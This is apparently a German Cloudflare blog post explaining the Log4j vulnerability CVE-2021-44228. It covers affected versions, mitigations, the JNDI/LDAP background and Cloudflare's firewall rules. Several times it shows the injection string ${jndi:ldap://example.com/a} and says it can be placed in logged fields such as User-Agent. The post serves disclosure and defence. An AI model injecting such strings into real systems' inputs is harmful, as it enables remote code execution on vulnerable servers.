In früheren Versionen dieses Blogbeitrags wurden leicht abweichende Abwehrtechniken empfohlen. Das Apache Log4j-Projekt hat seine offizielle Anleitung aktualisiert und wir haben diesen Blogbeitrag entsprechend den Empfehlungen aktualisiert
Gestern, am 9. Dezember 2021, wurde eine sehr schwerwiegende Sicherheitslücke in dem beliebten Java-basierten Protokollierungspaket Log4j bekannt gegeben. Diese Sicherheitslücke ermöglicht es einem Angreifer, Code auf einem entfernten Server auszuführen; eine sogenannte Remote Code Execution (RCE). Aufgrund der weiten Verbreitung von Java und Log4j ist dies wahrscheinlich eine der schwerwiegendsten Sicherheitslücken im Internet seit Heartbleed und ShellShock.
Die Sicherheitslücke trägt die Bezeichnung CVE-2021-44228 und betrifft Version 2 von Log4j zwischen den Versionen 2.0-beta-9 und 2.14.1. In Version 2.16.0 ist sie gepatcht.
In diesem Beitrag erklären wir die Geschichte dieser Schwachstelle, wie sie eingeführt wurde und wie Cloudflare unsere Kunden schützt. Details zu tatsächlichen Exploit-Versuchen , die von unserem Firewall-Service blockiert werden, finden Sie in einem separaten Blogbeitrag.
Cloudflare verwendet einige Java-basierte Software und unsere Teams haben daran gearbeitet, sicherzustellen, dass unsere Systeme nicht anfällig sind oder dass diese Sicherheitslücke entschärft wurde. Parallel dazu haben wir Firewall-Regeln zum Schutz unserer Kunden eingeführt.
Wenn Sie jedoch für ein Unternehmen arbeiten, das Java-basierte Software einsetzt, die Log4j verwendet, sollten Sie sofort den Abschnitt über die Abwehrmaßnahmen und den Schutz Ihrer Systeme lesen, bevor Sie den Rest lesen.
Wie man CVE-2021-44228 abwendet
Implementieren einer der folgenden Abwehrtechniken: Benutzer von Java 8 (oder höher) sollten ein Upgrade auf Version 2.16.0 durchführen. Benutzer von Java 7 sollten auf die Version 2.12.2 aktualisieren.
Ansonsten können Sie in jeder Version außer 2.16.0 die Klasse JndiLookup entfernen aus dem classpath: zip -q -d log4j-core-*.jar org/apache/logging/log4j/core/lookup/JndiLookup.class
Geschichte der Sicherheitslücke
Im Jahr 2013, in version 2.0-beta9, fügte das Log4j-Paket das „JNDILookup-Plugin“ in Ausgabe LOG4J2-313 hinzu. Um zu verstehen, wie diese Änderung zu einem Problem führt, ist es notwendig, das JNDI, das Java Naming and Directory Interface, etwas genauer zu verstehen.
JNDI ist seit den späten 1990er Jahren in Java enthalten. Es handelt sich um einen Verzeichnisdienst, der es einem Java-Programm ermöglicht, Daten (in Form eines Java-Objekts) über ein Verzeichnis zu finden. JNDI verfügt über eine Reihe von Service Provider Interfaces (SPIs), die es ermöglichen, eine Vielzahl von Verzeichnisdiensten zu nutzen.
So gibt es beispielsweise SPIs für den CORBA COS (Common Object Service), das Java RMI (Remote Method Interface) Registry und LDAP. LDAP ist ein sehr beliebter Verzeichnisdienst (das Lightweight Directory Access Protocol) und steht im Mittelpunkt von CVE-2021-44228 (obwohl auch andere SPIs verwendet werden könnten).
Ein Java-Programm kann JNDI und LDAP zusammen verwenden, um ein Java-Objekt zu finden, das Daten enthält, die es möglicherweise benötigt. In der Java-Standarddokumentation gibt es etwa ein Beispiel , das mit einem LDAP-Server kommuniziert, um Attribute von einem Objekt abzurufen. Es verwendet die URL ldap://localhost:389/o=JNDITutorial
, um das JNDITutorial-Objekt von einem LDAP-Server zu finden, der auf demselben Rechner (localhost) an Port 389 läuft, und liest dann Attribute daraus.
In der Anleitung heißt es: „Wenn sich Ihr LDAP-Server auf einem anderen Rechner befindet oder einen anderen Port verwendet, müssen Sie die LDAP-URL bearbeiten“. Der LDAP-Server könnte sich also auf einem anderen Rechner und möglicherweise überall im Internet befinden. Diese Flexibilität bedeutet, dass ein Angreifer, der die LDAP-URL kontrollieren kann, ein Java-Programm dazu bringen kann, ein Objekt von einem Server unter seiner Kontrolle zu laden.
Das sind die Grundlagen von JNDI und LDAP; ein nützlicher Teil des Java-Ökosystems.
Im Falle von Log4j kann ein Angreifer jedoch die LDAP-URL kontrollieren, indem er Log4j veranlasst, eine Zeichenfolge wie ${jndi:ldap://example.com/a}
zu schreiben. In diesem Fall verbindet sich Log4j mit dem LDAP-Server unter example.com und ruft das Objekt ab.
Das liegt daran, dass Log4j eine spezielle Syntax in der Form ${prefix:name} enthält, wobei prefix eine von mehreren verschiedenen Lookups ist, bei denen name ausgewertet werden soll. Zum Beispiel ist ${java:version}
die aktuell laufende Version von Java.
LOG4J2-313 hat ein jndi-Lookup wie folgt hinzugefügt: „Mit JndiLookup können Variablen über JNDI abgerufen werden. Standardmäßig wird dem Schlüssel das Präfix java:comp/env/ vorangestellt. Wenn der Schlüssel jedoch ein „:“ enthält, wird kein Präfix hinzugefügt.“
Mit einem : im Schlüssel, wie in ${jndi:ldap://example.com/a}
gibt es kein Präfix und der LDAP-Server wird nach dem Objekt abgefragt. Und diese Lookups können sowohl in der Konfiguration von Log4j als auch beim Loggen von Zeilen verwendet werden.
Ein Angreifer muss also nur eine Eingabe finden, die protokolliert wird, und etwas wie ${jndi:ldap://example.com/a
hinzufügen. Dies könnte ein allgemeiner HTTP-Header wie User-Agent (der üblicherweise protokolliert wird) oder vielleicht ein Formularparameter wie username sein, der ebenfalls protokolliert werden könnte.
Dies ist wahrscheinlich in Java-basierter Internet-Software, die Log4j verwendet, sehr verbreitet. Noch heimtückischer ist, dass Software, die nicht für das Internet bestimmt ist und Java verwendet, ebenfalls ausgenutzt werden kann, da die Daten von System zu System weitergegeben werden.
Beispielsweise könnte eine User-Agent-Zeichenkette, die den Exploit enthält, an ein in Java geschriebenes Backend-System weitergeleitet werden, das Indizierung oder Data Science betreibt, und der Exploit könnte protokolliert werden. Aus diesem Grund ist es wichtig, dass alle Java-basierte Software, die Log4j Version 2 verwendet, sofort gepatcht oder durch Abwehrmaßnahmen geschützt wird. Selbst wenn die Internet-Software nicht in Java geschrieben ist, ist es möglich, dass Zeichenketten an andere Systeme weitergegeben werden, die in Java geschrieben sind, so dass der Missbrauch möglich ist.
Oder stellen Sie sich ein Java-basiertes Abrechnungssystem vor, das protokolliert, wenn der Vorname des Kunden nicht gefunden wird. Ein böswilliger Benutzer könnte einen Auftrag mit einem Vornamen erstellen, der den Exploit enthält, und es könnte mehrere Sprünge (und viel Zeit) dauern, bis er vom Webserver über eine Kundendatenbank in das Abrechnungssystem gelangt, wo er schließlich ausgeführt wird.
Und Java wird für viel mehr Systeme verwendet als nur für solche, die mit dem Internet verbunden sind. Es ist zum Beispiel nicht schwer, sich vorzustellen, dass ein Paketverarbeitungssystem, das QR-Codes auf Boxen scannt, oder ein kontaktloser Türschlüssel anfällig sind, wenn sie in Java geschrieben sind und Log4j verwenden. In dem einen Fall könnte ein sorgfältig gestalteter QR-Code eine Postadresse enthalten, die den Exploit-String enthält; im anderen Fall könnte ein sorgfältig programmierter Türschlüssel den Exploit enthalten und von einem System aufgezeichnet werden, das die Ein- und Ausgänge verfolgt.
Und Systeme, die regelmäßig arbeiten, könnten die Sicherheitslücke aufspüren und später protokollieren. Der Exploit könnte also so lange schlummern, bis ein in Java geschriebener Indizierungs-, Rollup- oder Archivierungsprozess versehentlich die fehlerhafte Zeichenfolge protokolliert. Stunden oder sogar Tage später.
Cloudflare Firewall-Schutz
Cloudflare hat für unsere Kunden, die unsere Firewall verwenden, einen Schutz in Form von Regeln eingeführt, die den jndi Lookup an gängigen Stellen in einer HTTP-Anfrage blockieren. Dies ist im Detail hier beschrieben. Wir haben diese Regeln weiter verfeinert, da Angreifer ihre Exploits modifiziert haben, und werden dies auch weiterhin tun.